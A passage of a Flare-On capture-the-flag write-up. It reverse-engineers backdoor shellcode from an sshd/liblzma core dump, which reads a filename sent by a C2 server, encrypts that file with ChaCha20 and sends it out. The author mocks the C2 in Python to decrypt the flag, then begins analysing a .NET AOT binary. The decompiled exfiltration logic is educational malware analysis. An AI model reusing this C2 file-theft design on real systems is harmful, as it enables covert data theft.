This looks more similar to what we have in our function, except that the k in “expand 32-byte k” is uppercase and not lowercase. After this, we have 11 more such get_dword-assignment to RDI calls: the first 8 are for the first buffer (first_recvfrom_buf
), and the other 3 are for the second buffer (second_recvfrom_buf
). Recall that first_recvfrom_buf
contains 32 bytes, and second_recvfrom_buf
contains 12 bytes. This is similar, but not completely the same, to the ChaCha figure (where the nonce is only 8 bytes)! This might suggest that first_recvfrom_buf
is the key, and that second_recvfrom_buf
is the nonce! Scrolling down more, we see the following figure for the state of ChaCha20 as per RFC 7539:
In this state, the nonce is also 12 bytes (though the k is still lowercase), further supporting our thesis. We’ll change the name of FUN_00000a93
to setup_chacha20_state
. Back in process_file
, the function does some modifications on the state, but this is not very important to us:
1
2
3
4
5
6
7
8
*(int *)(in_RAX + 0xb0) = (int)in_R8;
piVar4 = (int *)(in_RAX + 0xb4);
iVar1 = get_dword();
*piVar4 = iVar1 + (int)((ulong)in_R8 >> 0x20);
*(undefined8 *)(in_RAX + 0x78) = in_R8;
*(undefined8 *)(in_RAX + 0x40) = 0x40;
return;
In main
, we see a call to another function (I’m showing the disassembly since Ghidra doesn’t show the correct arguments in the decompilation):
1
2
3
4
5
CALL process_file
LEA RAX=>local_e8,[RBP + -0xc0]
LEA RDX=>third_recvfrom_buf,[RBP + -0x1148]
MOV ECX,dword ptr [RBP + file_length]
CALL FUN_00000d49
Note that rbx
still contains a pointer to the state set up by setup_chacha20_state
, since it wasn’t changed since that function was called. The decompilation of FUN_00000d49
is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void FUN_00000d49(undefined8 param_1,undefined8 param_2,long param_3,ulong param_4)
{
long in_RAX;
ulong uVar1;
long lVar2;
lVar2 = in_RAX;
for (uVar1 = 0; uVar1 < param_4; uVar1 = uVar1 + 1) {
if (0x3f < *(ulong *)(lVar2 + 0x40)) {
FUN_000000a2();
*(undefined8 *)(lVar2 + 0x40) = 0;
}
*(byte *)(param_3 + uVar1) =
*(byte *)(param_3 + uVar1) ^ *(byte *)(in_RAX + *(long *)(lVar2 + 0x40));
*(long *)(lVar2 + 0x40) = *(long *)(lVar2 + 0x40) + 1;
}
return;
}
Note that param_4
is the length of the data read from the file. Inside the loop, after some condition is triggered, the function FUN_000000a2
is called. At the time of the call, rcx
points to the file length, rdx
points to the contents of the file, and rbx
is the current number of iterations. The decompilation of this function is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
uint FUN_000000a2(void)
{
uint uVar1;
uint *in_RAX;
int num_round;
uint *puVar2;
for (i = 0; i < 0x10; i = i + 1) {
in_RAX[i] = in_RAX[(long)i + 0x20];
}
for (i = 0; i < 10; i = i + 1) {
*in_RAX = *in_RAX + in_RAX[4];
puVar2 = in_RAX + 0xc;
uVar1 = FUN_00000f6a(puVar2,i,0x10,in_RAX[0xc] ^ *in_RAX);
*puVar2 = uVar1;
in_RAX[8] = in_RAX[8] + in_RAX[0xc];
puVar2 = in_RAX + 4;
uVar1 = FUN_00000f6a();
*puVar2 = uVar1;
*in_RAX = *in_RAX + in_RAX[4];
puVar2 = in_RAX + 0xc;
uVar1 = FUN_00000f6a();
*puVar2 = uVar1;
in_RAX[8] = in_RAX[8] + in_RAX[0xc];
puVar2 = in_RAX + 4;
uVar1 = FUN_00000f6a();
...
// Many more such blocks, with different offsets
}
for (i = 0; num_round < 0x10; i = i + 1) {
in_RAX[num_round] = in_RAX[num_round] + in_RAX[(long)num_round + 0x20];
}
uVar1 = in_RAX[0x2c];
if (uVar1 == 0) {
uVar1 = in_RAX[0x2d];
}
return uVar1;
}
The function FUN_00000f6a
rotates a 32-bit number, so we’ll rename it to rotl
:
1
2
3
4
5
6
7
uint rotl(undefined8 param_1,undefined8 param_2,byte param_3)
{
uint in_EAX;
return in_EAX << (param_3 & 0x1f) | in_EAX >> (0x20 - param_3 & 0x1f);
}
If we look at an RFC 7539-compliant implementation of ChaCha20, such as this one, we see some very similar code to the one in the previous function. This lines up with our previous hypothesis that the algorithm used is ChaCha20, so we’ll treat FUN_000000a2
as a ChaCha20 encryption/decryption function (in ChaCha20 encryption is the same as decryption): chacha20_crypt
. In FUN_00000d49
, chacha20_crypt
is called on some data, but as we’ll see in a moment, the exact data doesn’t really matter. The output of chacha20_crypt
is XORed with the data that was read from the file:
1
2
3
4
5
6
7
8
9
10
11
12
13
void FUN_00000d49(undefined8 param_1,undefined8 param_2,long param_3,ulong param_4)
{
for (uVar1 = 0; uVar1 < param_4; uVar1 = uVar1 + 1) {
if (0x3f < *(ulong *)(lVar2 + 0x40)) {
FUN_000000a2();
*(undefined8 *)(lVar2 + 0x40) = 0;
}
// <--- Here
*(byte *)(param_3 + uVar1) =
*(byte *)(param_3 + uVar1) ^ *(byte *)(in_RAX + *(long *)(lVar2 + 0x40));
}
return;
}
This function therefore encrypts the contents of the file that was read from in main, with the ChaCha20 cipher set up with the key and nonce from the first and second recvfrom’s, respectively. In main
, after the call to FUN_00000d49
, we have another syscall:
1
2
3
4
5
6
7
8
9
10
LEA RSI=>file_length,[RBP + -0xc4]
PUSH 0x2c
POP RAX
MOV EDI,EBX
PUSH 0x4
POP RDX
XOR R10D,R10D
XOR R8D,R8D
XOR R9D,R9D
SYSCALL
Sending the encrypted file
This time the syscall is sendto
(0x2c). The file descriptor is specified in edi (by dynamically debugging, we see that the file descriptor is the socket that was created earlier). The data to be sent is specified on RSI, and is the length of the file that was read from (in bytes). RDX specifies that the number of bytes to be sent is 4 (which makes sense, since we’re sending a 32-bit integer). All the other arguments are flags, and are zeroed in this case. Next, we have another sendto
syscall, this time sending the contents of third_recvfrom_buf
(that were encrypted earlier) to the same socket. Finally, there are two function calls that (1) close the file that was opened and (2) shutdown the socket, but they are not very interesting, so I didn’t include them in the writeup. This was a lot! Let’s do a recap of the shellcode’s logic:
It begins by opening a TCP socket and connecting to 10.0.2.15 on port 1337
It then uses the
recvfrom
syscall on the socket to get four values from the server:A key for ChaCha20 (32 bytes), stored in
first_recvfrom_buf
The nonce for ChaCha20 (12 bytes), stored in
second_recvfrom_buf
The length of the filename
The filename
The shellcode the
open
s the file with the name received from the server,read
s 0x80 bytes from it, and encrypts its contents using RFC 7539-compliant ChaCha20 (with some slight modifications, namely using the constant “expand 32-byte K” instead of “expand 32-byte k”)It then sends the server two things:
The length of the file, as a 32-bit integer
The encrypted contents of the file
Finally, it shuts down the socket, and closes the file
Recovering the stolen data from the core dump
On a higher level, the attacker sends a filename to the program, gets the encrypted version of the file, and can decrypt it using their key. Our goal is probably to recover what file was sent over the network (the challenge’s description also hints towards this: “Do your part, random internet hacker, to help FLARE out and tell us what data they stole”) from the core dump. This time, we won’t need to reconstruct the encryption/decryption algorithm in C: if we recover the ciphertext, the key, and the nonce, we can just put the ciphertext in a file and have the shellcode decrypt it for us, using the nice property of ChaCha20 that encryption is identical to decryption. Our goal, therefore, is to recover the key, the nonce, and the ciphertext. But before we’ll do that, we’ll write a small Python server that simulates the C2 server used to talk with the program:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time
import socket
HOST = "127.0.0.1"
PORT = 1337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
key = None
nonce = None
with open("./solve/key_dump.bin", "rb") as f:
key = f.read(0x20)
with open("./solve/nonce_dump.bin", "rb") as f:
nonce = f.read(12)
# 32-byte key
conn.sendall(key)
time.sleep(0.2)
# The nonce
conn.sendall(nonce)
time.sleep(0.2)
conn.sendall(b"\x61\0\0\0")
time.sleep(0.2)
conn.sendall(b"solve/file_ciphertext.bin\0")
length = conn.recv(4)
data = conn.recv(int.from_bytes(length, byteorder="little"))
print(f"Received length: {length}")
print(f"Received data: {data}")
with open("decrypted_data.bin", "wb") as f:
f.write(data)
The program loads the file and the nonce from the files key_dump.bin
and nonce_dump.bin
(we’ll see how to get those files in a moment), sends them to the shellcode, sends 0x61 as the length of the filename, and specifies file_ciphertext.bin
as the file to encrypt/decrypt. It then prints the data it received from the server. Now, let’s see how to get those values. All the data we need is located in the core dump. We can find it by getting the location of a value used by the shellcode (e.g. the name of the file to encrypted), calculating the offset between this value and the data we need to recover, and then inspecting the memory at address of the name of the file + offset
.
The filename
To find the name of the file, we’ll search for the character /
. We’re only interesting on values on the stack, since that’s where the shellcode stores all data that’s relevant to us:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> search "/" stack
Searching for value: '/'
[stack] 0x7ffcc66002c0 0x8000000062696c2f /* '/lib' */
[stack] 0x7ffcc6600c18 '/root/certificate_authority_signing_key.txt'
[stack] 0x7ffcc6600c1d '/certificate_authority_signing_key.txt'
[stack] 0x7ffcc6601ec2 0x582c7cd703ae8b2f
[stack] 0x7ffcc6601ef2 0x8b9f505e2d16722f
[stack] 0x7ffcc6602509 0xa000007f4a18e52f
[stack] 0x7ffcc6602bd0 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd1 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd2 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd3 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd4 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd5 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd6 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd7 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd8 0x2f2f2f2f2f2f2f2f ('////////')
[stack] 0x7ffcc6602bd9 0xc02f2f2f2f2f2f2f
[stack] 0x7ffcc6602bda 0xafc02f2f2f2f2f2f
[stack] 0x7ffcc6602bdb 0x61afc02f2f2f2f2f
[stack] 0x7ffcc6602bdc 0x1961afc02f2f2f2f
[stack] 0x7ffcc6602bdd 0x4a1961afc02f2f2f
[stack] 0x7ffcc6602bde 0x7f4a1961afc02f2f
[stack] 0x7ffcc6602bdf 0x7f4a1961afc02f
[stack] 0x7ffcc6603fe9 '/usr/sbin/sshd'
[stack] 0x7ffcc6603fed '/sbin/sshd'
[stack] 0x7ffcc6603ff2 0x646873732f /* '/sshd' */
The second result, /root/certificate_authority_signing_key.txt
, looks very promising!
Recovering the key, nonce, & ciphertext
Now for the second part of our plan: calculating the offsets. In the Python server, we’ll temporarily set the key and nonce to some recognizable values (e.g. AAAA… and BBBB…), and the filename to /root/certificate_authority_signing_key.txt
, as such:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time
import socket
HOST = "127.0.0.1" # Standard loopback interface address (localhost)
PORT = 1337 # Port to listen on (non-privileged ports are > 1023)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
key = b"A"*32
nonce = b"B"*12
#with open("./solve/key_dump.bin", "rb") as f:
# key = f.read(0x20)
#with open("./solve/nonce_dump.bin", "rb") as f:
# nonce = f.read(12)
print(f"key={key}")
print(f"nonce={nonce}")
# 32-byte key
conn.sendall(key)
time.sleep(0.2)
# The nonce
conn.sendall(nonce)
time.sleep(0.2)
conn.sendall(b"\x61\0\0\0")
time.sleep(0.2)
#conn.sendall(b"solve/file_ciphertext.bin\0")
conn.sendall(b"/root/certificate_authority_signing_key.txt\0")
length = conn.recv(4)
data = conn.recv(int.from_bytes(length, byteorder="little"))
print(f"Received length: {length}")
print(f"Received data: {data}")
#with open("decrypted_data.bin", "wb") as f:
# f.write(data)
Let’s start the server, and run the wrapper around the shellcode, breaking right after the shellcode is called. Searching for the filename, we see:
1
2
3
pwndbg> search "/root/certificate_authority_signing_key.txt"
Searching for value: '/root/certificate_authority_signing_key.txt'
[stack] 0x7fffffffcd48 '/root/certificate_authority_signing_key.txt'
Nice! Now let’s search for our key:
1
2
3
4
5
pwndbg> search AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Searching for value: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[stack] 0x7fffffffcd18 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB'
[stack] 0x7fffffffdf18 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB'
[stack] 0x7fffffffdf60 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
And the nonce:
1
2
3
4
5
pwndbg> search BBBBBBBBBBBB
Searching for value: 'BBBBBBBBBBBB'
[stack] 0x7fffffffcd38 'BBBBBBBBBBBB'
[stack] 0x7fffffffdf38 'BBBBBBBBBBBB'
[stack] 0x7fffffffdf84 0x4242424242424242 ('BBBBBBBB')
Looks good! Let’s calculate the offsets:
1
2
3
4
5
6
pwndbg> # Key offset
pwndbg> p/x 0x7fffffffcd18 - 0x7fffffffcd48
$3 = -0x30
pwndbg> # Nonce offset
pwndbg> p/x 0x7fffffffcd38 - 0x7fffffffcd48
$4 = -0x10
Nice! The key is located 0x30 bytes before the filename, and the nonce is located 0x10 bytes before the filename. To find the ciphertext, we’ll write some data, for example “HELLOHELLO” to the file /root/certificate_authority_signing_key.txt
, and search for the ciphertext received by the server on the stack. The output from the server is:
1
2
3
4
key=b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
nonce=b'BBBBBBBBBBBB'
Received length: b'\x0b\x00\x00\x00'
Received data: b'\x1b\xcb\xc8\xc4\x13E\xabL\xf9w\xc4'
Let’s search for it on the stack:
1
2
3
pwndbg> search -t bytes -x "1bcbc8c4"
Searching for value: b'\x1b\xcb\xc8\xc4'
[stack] 0x7fffffffd2e8 0x4cab4513c4c8cb1b
Great! The only thing we need to do now is calculate the offset between this and the file name (the address of the filename is different since this is a different run of the shellcode):
1
2
pwndbg> p/x 0x7fffffffd2e8 - 0x7fffffffd1e8
$1 = 0x100
The ciphertext is located 0x100 bytes past the filename. Now we have all we need to dump the data and decrypt the file! Again, we’ll do this using the dump
command in gdb on the coredump:
1
2
3
4
pwndbg> # 0x7ffcc6600c18 is the address of the filename
pwndbg> dump binary memory key.bin 0x7ffcc6600c18-0x30 0x7ffcc6600c18-0x30+32
pwndbg> dump binary memory ciphertext.bin 0x7ffcc6600c18+0x100 0x7ffcc6600c18+0x100+0x30
pwndbg> dump binary memory nonce.bin 0x7ffcc6600c18-0x10 0x7ffcc6600c18-0x10+12
Note that since we don’t know the exact length of the file, we just dump 0x30 bytes. Let’s hexdump these files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ hexdump -C key.bin | head
00000000 8d ec 91 12 eb 76 0e da 7c 7d 87 a4 43 27 1c 35 |.....v..|}..C'.5|
00000010 d9 e0 cb 87 89 93 b4 d9 04 ae f9 34 fa 21 66 d7 |...........4.!f.|
00000020
$ hexdump -C nonce.bin | head
00000000 11 11 11 11 11 11 11 11 11 11 11 11 |............|
0000000c
$ hexdump -C ciphertext.bin | head
00000000 a9 f6 34 08 42 2a 9e 1c 0c 03 a8 08 94 70 bb 8d |..4.B*.......p..|
00000010 aa dc 6d 7b 24 ff 7f 24 7c da 83 9e 92 f7 07 1d |..m{$..$|.......|
00000020 02 63 90 2e c1 58 00 00 d0 b4 58 6d b4 55 00 00 |.c...X....Xm.U..|
00000030 20 ea 78 19 4a 7f 00 00 d0 b4 58 6d b4 55 00 00 | .x.J.....Xm.U..|
00000040 30 d1 77 19 4a 7f 00 00 f0 cb 77 19 4a 7f 00 00 |0.w.J.....w.J...|
00000050 e0 2a 01 19 4a 7f 00 00 00 20 01 19 4a 7f 00 00 |.*..J.... ..J...|
00000060 d0 0a 7b 19 4a 7f 00 00 ac f8 18 43 c6 70 80 96 |..{.J......C.p..|
00000070 ac f8 4c a6 e9 cd ed 97 00 00 00 00 4a 7f 00 00 |..L.........J...|
00000080
Great! Now there’s only one way to find out if it worked. Let’s point the Python server to use these files (I moved the files to a directory called solve
and changed their names slightly):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import time
import socket
HOST = "127.0.0.1" # Standard loopback interface address (localhost)
PORT = 1337 # Port to listen on (non-privileged ports are > 1023)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
key = None
nonce = None
with open("./solve/key_dump.bin", "rb") as f:
key = f.read(0x20)
with open("./solve/nonce_dump.bin", "rb") as f:
nonce = f.read(12)
print(f"key={key}")
print(f"nonce={nonce}")
# 32-byte key
conn.sendall(key)
time.sleep(0.2)
# The nonce
conn.sendall(nonce)
time.sleep(0.2)
conn.sendall(b"\x61\0\0\0")
time.sleep(0.2)
conn.sendall(b"solve/file_ciphertext.bin\0")
length = conn.recv(4)
data = conn.recv(int.from_bytes(length, byteorder="little"))
print(f"Received length: {length}")
print(f"Received data: {data}")
with open("decrypted_data.bin", "wb") as f:
f.write(data)
Running the server in one terminal and the shellcode wrapper in a different one, we see:
1
2
3
4
key=b"\x8d\xec\x91\x12\xebv\x0e\xda|}\x87\xa4C'\x1c5\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf94\xfa!f\xd7"
nonce=b'\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11'
Received length: b'&\x00\x00\x00'
Received data: b'supp1y_cha1n_sund4y@flare-on.com\n\x86Xm\xb4U'
We finally got the flag! Here’s a recap of everything we’ve done:
Found a core dump of the SSH daemon by searching for files with
sshd
in their namesAnalyzed it and found a backdoor in the liblzma library, more specifically in a function that calls
RSA_public_decrypt
, a-la the Jia Tan incident in April of this yearWe found that the backdoor calls an encrypted shellcode, and we decrypted it by finding the ciphertext in the core dump, and by reconstructing the key generation algorithm and the decryption function in C
We analyzed the decrypted shellcode, and found that it communicates with a C2 server. The attacker sends a filename, a ChaCha20 key, and a ChaCha20 nonce
The shellcode then encrypts the file specified by the attacker, and sends it to the attacker over the network
We found the key, nonce, and ciphertext in the core dump by simulating the C2 server, running the shellcode, and calculating the offsets in gdb
Finally, using our C2 simulation, we used the nice property of ChaCha20 that encryption is the same as decryption, and decrypted the file, getting the flag This was an extremely fun challenge to solve. I learned a lot from solving it - all of the stages were put together very well, and solving each stage felt very rewarding. I especially liked how to decrypt the file with the flag, we didn’t actually have to reconstruct the encryption algorithm, and could just exploit a property of ChaCha20 and have the shellcode decrypt the flag for us. Overall, this was the second hardest challenge out of the ones I solved, and also my second favorite one.
Challenge 6 - bloke2
TODO
Challenge 7 - fullspeed
In this challenge, we are presented with a ~2MB PE binary
fullspeed.exe
, and a PCAPcapture.pcapng
. The data in the PCAP appears to be encrypted, so there’s no reason to touch it until we know how it was encrypted. If we runfullspeed.exe
, it does not output anything, and doesn’t seem to respond to any input from stdin. Time to take a closer look.Static Analysis 1
Opening the binary with Ghidra, we notice two suspicious sections:
.managed
andhydrated
. A quick Google search reveals that these functions indicate that the binary is .NET AOT (Ahead-of-Time) compiled.What is AOT?
In addition to being a popular Anime series, AOT is a feature introduced to the .NET runtime in .NET 6 (2021), allowing for a very different compilation process than the usual one. Unlike native languages (think C/C++) which are compiled into the assembly code we know and love, non-AOT .NET binaries are compiled into an intermediate language called the MSIL (Microsoft Intermediate Language). When we run a .NET binary, this intermediate language is JIT-compiled by the .NET runtime, and transformed into assembly instructions on the go. This approach makes regular .NET binaries architecture-independent: to run a .NET binary we only need to have the .NET runtime installed (and the binary format to match - we can’t real ELF binaries on Windows, for example). In other words, our .NET code is compiled down into MSIL, and the runtime handles the translation of that into native code (e.g. ARM or x86 assembly) for us. The translation will, of course, be different for any architecture, but the runtime abstracts this away for us. There’s a price for everything, however. First, The added step of JIT compilation makes our code slower than if it were just compiled into native code ahead of time, like C code. Additionally, we are limited to running our executable on machines that have the .NET runtime installed. The AOT component of .NET was introduced exactly to solve these two problems. To quote from the MSDN page on AOT: “ Publishing your app as Native AOT produces an app that’s self-contained and that has been ahead-of-time (AOT) compiled to native code. Native AOT apps have faster startup time and smaller memory footprints. These apps can run on machines that don’t have the .NET runtime installed.
The benefit of Native AOT is most significant for workloads with a high number of deployed instances, such as cloud infrastructure and hyper-scale services. .NET 8 adds ASP.NET Core support for native AOT.
The Native AOT deployment model uses an ahead-of-time compiler to compile IL to native code at the time of publish. Native AOT apps don’t use a just-in-time (JIT) compiler when the application runs. Native AOT apps can run in restricted environments where a JIT isn’t allowed. Native AOT applications target a specific runtime environment, such as Linux x64 or Windows x64, just like publishing a self-contained app. “ There’s not much to add here: instead of being JIT-compiled, the code is compiled directly into native code, which runs faster and isn’t restricted to systems that have the .NET runtime installed.
Reversing AOT
Typically, reversing .NET binaries is easier than reversing native code, since the MSIL includes a lot of metadata that allows decompilers, such as ILSpy, to reconstruct the original code almost perfectly. With AOT binaries, however, the process is much harder. Not only do we have to use native reversing tools like IDA or Ghidra, but since the binary is self-contained, it contains a ton (think 99% of functions) of library functions that aren’t detected by Ghidra. Without figuring out which functions are library functions and which ones are not, reversing the binary is pretty much impossible, since we’d have no way of knowing where we should focus our analysis (e.g. spending time to reverse a function, thinking it’s a custom function, when it’s just Console.WriteLine
is time-wasting and not fun). This excellent article suggests the following approach to reverse AOT binaries:
Make a binary that uses as many library functions as possible (can be done with an LLM)
Compile it with AOT and get a PDB
Generate FLIRT signatures for all functions in the binary. FLIRT is a feature in IDA that can generate a signature for its function based on its code
The signatures can now be applied on new binaries
Generating our own signatures
I don’t have the pro version of IDA, so I can’t directly use the method shown in the article since it requires running IDA scripts. Instead, we’ll use the Ghidra version of this feature, which is called “Function IDs”. Before we start generating such binaries, we need to know which libraries the binary uses, so that we can match more functions. We’ll do this by running
strings
on the binary and grepping fordll
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
:BouncyCastle.Cryptography.dll,System.Private.CoreLib
4System.Private.CoreLib.dll
BSystem.Collections.Concurrent.dll
$System.Console.dllFSystem.Diagnostics.DiagnosticSource
NSystem.Diagnostics.DiagnosticSource.dll2System.Net.NameResolution
:System.Net.NameResolution.dll*System.Net.Primitives
2System.Net.Primitives.dll$System.Net.Sockets
,System.Net.Sockets.dllFSystem.Private.Reflection.Execution
NSystem.Private.Reflection.Execution.dllBSystem.Private.StackTraceMetadata
JSystem.Private.StackTraceMetadata.dll2System.Private.TypeLoader
:System.Private.TypeLoader.dll8System.Security.Cryptography
@System.Security.Cryptography.dll
fullspeed.dll
BCrypt.dll
ntdll.dll
Format of the executable (.exe) or library (.dll) is invalid
kernel32.dll
ADVAPI32.dll
bcrypt.dll
KERNEL32.dll
ole32.dll
WS2_32.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
fullspeed.dll
fullspeed.dll
After narrowing down this list, since it includes some irrelevant strings, we arrive at the following list of dll
s:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BouncyCastle.Cryptography.dll
System.Security.Cryptography.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
fullspeed.dll
kernel32.dll
ADVAPI32.dll
bcrypt.dll
KERNEL32.dll
BCrypt.dll
ntdll.dll
ole32.dll
WS2_32.dll
I’ve had ChatGPT generate some C# programs that use some of these DLLs, and additional C# features such as string operations and collections. Asking it to generate one binary with all of these DLLs and features didn’t work well, so I split it into multiple binaries. The programs it generated can be found in this folder in the GitHub repo. To compile these programs, we use the following steps:
Run
dotnet new console -aot -o <project name>
Copy the program code to
Program.cs
Run
dotnet publish
The binary and the PEB can then be found at<project folder>/bin/Release/net8.0/<arch, e.g. win-x64>/publish
. Now that we have the binary (the binary I’ll show in this example is namedTestApp2.exe
), we can make a Ghidra function ID database as follows:Open the binary in Ghidra, and choose ‘don’t analyze’
- Load the PDB of the binary from the menu option File->Load PDB file:
Create a new Ghidra FID (Function ID) DB (for example with name
my_fiddb
) from the menu option Tools->Function ID->Create new empty FidDbAdd the symbols of the binary into the FIDDB with the option Tools->Function ID->Populate Fid Database, and pick the name of the FIDDB. It’s best if all the AOT binaries with symbols are in one folder, and then we can just pick that as the root folder from which to popular the FIDDB:
Once we’ve done this for all the test programs, we can use the FIDDB to analyze fullspeed.exe
. Load my_fiddb
to the fullspeed.exe
Ghidra window with the menu option Tools->Function ID->Attach existing FidDb, and then have Ghidra find FidDb matches with the menu option Analysis->One Shot->Function ID.
Static Analysis 2
Main Function
Now we can start to reverse the program. Searching for main
, we find the function wmain
, which at some point calls __managed__Main(_Argc,_Argv)
. The symbol __managed__Main
is an AOT symbol, so this is a good sign that our FidDb worked. At __managed__Main
, we see these two lines:
1
2
uVar3 = S_P_CoreLib_Internal_Runtime_CompilerHelpers_StartupCodeHelpers__GetMainMethodArguments();
FUN_140108ac0(uVar3);
The first line, which sets up the arguments for main, probably means that the function below it is the main function, so we’ll rename it to real_main
. The real_main
function begins with a check that is not related to the logic itself (calls some garbage collection function if a global isn’t 0). It then calls a function that implements some sort of custom decryption on a string from the data section:
1
uVar5 = FUN_140107d80(&DAT_14013eb90);
This functions implements a pretty simple decryption algorithm, consisting of XORing with a moving index (I changed the name to decrypt_string
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void decrypt_string(char *enc_string) {
... Excerpt
// The encrypted string is stored in lVar3
// It's represented as a struct, with the length appearing before the actual characters
bVar4 = 0;
uVar6 = 0;
// Access the length
iVar2 = *(int *)(lVar3 + 8)
if (0 < iVar2) {
do {
// Current index
bVar4 = bVar4 * '\r' + 0x25;
// The current character in the encrypted string
pbVar1 = (byte *)(lVar3 + 0x10 + uVar6);
*pbVar1 = *pbVar1 ^ bVar4;
uVar5 = (int)uVar6 + 1;
uVar6 = (ulonglong)uVar5;
} while ((int)uVar5 < iVar2);
}
}
With x64dbg, we can see that the decrypted string is “192.168.56.103;31337”: an IP and a port. After that, there’s another call to decrypt_string
that returns “;”, and then a conditional move that moves a string in the data section to rdx in case decrypt_string
returns 0 (which doesn’t happen). The next line calls a function that seems like a library function, but wasn’t detected by the FidDb, so we won’t analyze it. In any case, this function returns a memory block that contains the string “192.168.56.103” and then the string “31337”:
I assume that this is a function that splits a string based on a character), such as String.Split
. We’ll also rename it as such to help us in the future in case it is called again. If String.Split
returns NULL, the program throws an exception and exits. In case it doesn’t throw an exception, we access the second string, “31337”, and convert it to a number as follows:
1
2
3
4
5
6
7
8
9
10
11
... Excerpt
lVar5 = *(longlong *)(lVar5 + 0x18);
if (lVar5 == 0) {
// Throws an exception
}
unaff_RDI = lVar5 + 0xc;
unaff_R14D = *(undefined4 *)(lVar5 + 8);
uStack_38 = CONCAT44(uStack_38._4_4_,unaff_R14D);
local_40 = unaff_RDI;
uVar6 = S_P_CoreLib_System_Globalization_NumberFormatInfo__get_CurrentInfo();
iVar4 = S_P_CoreLib_System_Number__TryParseBinaryIntegerStyle<>(&local_40,7,uVar6,&local_30);
The last function call puts 0x7a69, or 31337, in rcx. If the integer was successfully parsed, we call a wrapper around RhpNewObject
(an AOT function that returns a new object), and construct a TcpClient
with it by calling one of TcpClient’s constructors:
1
2
3
// This is a wrapper around RhpNewObject
uVar6 = FUN_1400029f0(&DAT_14015ec20);
System_Net_Sockets_System_Net_Sockets_TcpClient___ctor_2(uVar6,uVar7,uVar3 & 0xffffffff);
Inspecting the arguments to the call, we see that rdx points to the “192.168.56.103” string, and that r8 contains 0x7a69, the port number. This creates a TCP socket and connects to port 31337 on 192.168.56.103. The corresponding C# call looks like this:
1
using TcpClient client = new TcpClient("192.168.56.103", 31337);
Since the IP of our virtual machine isn’t the one shown above, we’ll have to forward all traffic to that IP to localhost, like we did in challenge 5. We can do this with the following Powershell command:
1
netsh int ip add addr 1 192.168.56.103/32 st=ac sk=tr
We’ll start a Python socket server at port 31337 so that the program won’t hang on the connection line, preventing us from debugging it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
# Define the host and port
HOST = '0.0.0.0'
PORT = 31337
# Create a socket object
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Bind the socket to the host and port
s.bind((HOST, PORT))
# Listen for incoming connections (max 1 connection in the queue)
s.listen(1)
print(f"Listening on {HOST}:{PORT}")
# Accept a connection
conn, addr = s.accept()
with conn:
print(f"Connected by {addr}")
As we discover more about what the binary does with the TCP socket, we’ll add more code to the server. After creating the TcpClient, we have the following call:
1
FUN_140002bc0(lVar2 + 0x20,uVar6);
The first argument, lVar2
, points to some address in the .data
section, and is used throughout the code as some kind of “global state”:
1
lVar2 = GLOBAL_STATE;
The second argument, uvar6
, is the TcpClient we just created. The FUN_140002bc0
function acts as some kind of a setter: it executes the line *param_1 = param_2
, where param_1
and param_2
are the first and second arguments, respectively, and then performs some checks. We’ll refer to this function as setter
. The next two lines set another field of the global state:
1
2
